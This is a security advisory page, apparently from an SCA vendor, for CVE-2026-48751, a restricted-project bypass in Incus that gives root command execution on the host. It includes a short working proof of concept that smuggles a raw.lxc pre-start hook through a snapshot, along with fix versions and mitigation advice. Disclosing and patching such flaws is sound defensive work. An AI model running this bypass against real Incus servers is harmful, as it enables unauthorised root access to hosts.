CVE-2026-48751 — incusd
CRITICALCVE-2026-48751 is a critical-severity (CVSS 9.9) CWE-862 vulnerability in github.com/lxc/incus/v7/cmd/incusd. A fix is available for github.com/lxc/incus/v7/cmd/incusd — see the affected versions and patch details below.
Incus has a restricted project bypass leading to arbitrary command execution
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-48751 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/lxc/incus/v7/cmd/incusdReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
Details
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.
PoC
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
Impact
- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lxc/incus/v7/cmd/incusd | all versions | 7.2.0go get github.com/lxc/incus/v7/cmd/incusd@v7.2.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lxc/incus/v7/cmd/incusd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/lxc/incus/v7/cmd/incusd to 7.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-48751 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-48751 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-48751. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-48751 in your dependencies?
O3 Security finds CVE-2026-48751 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.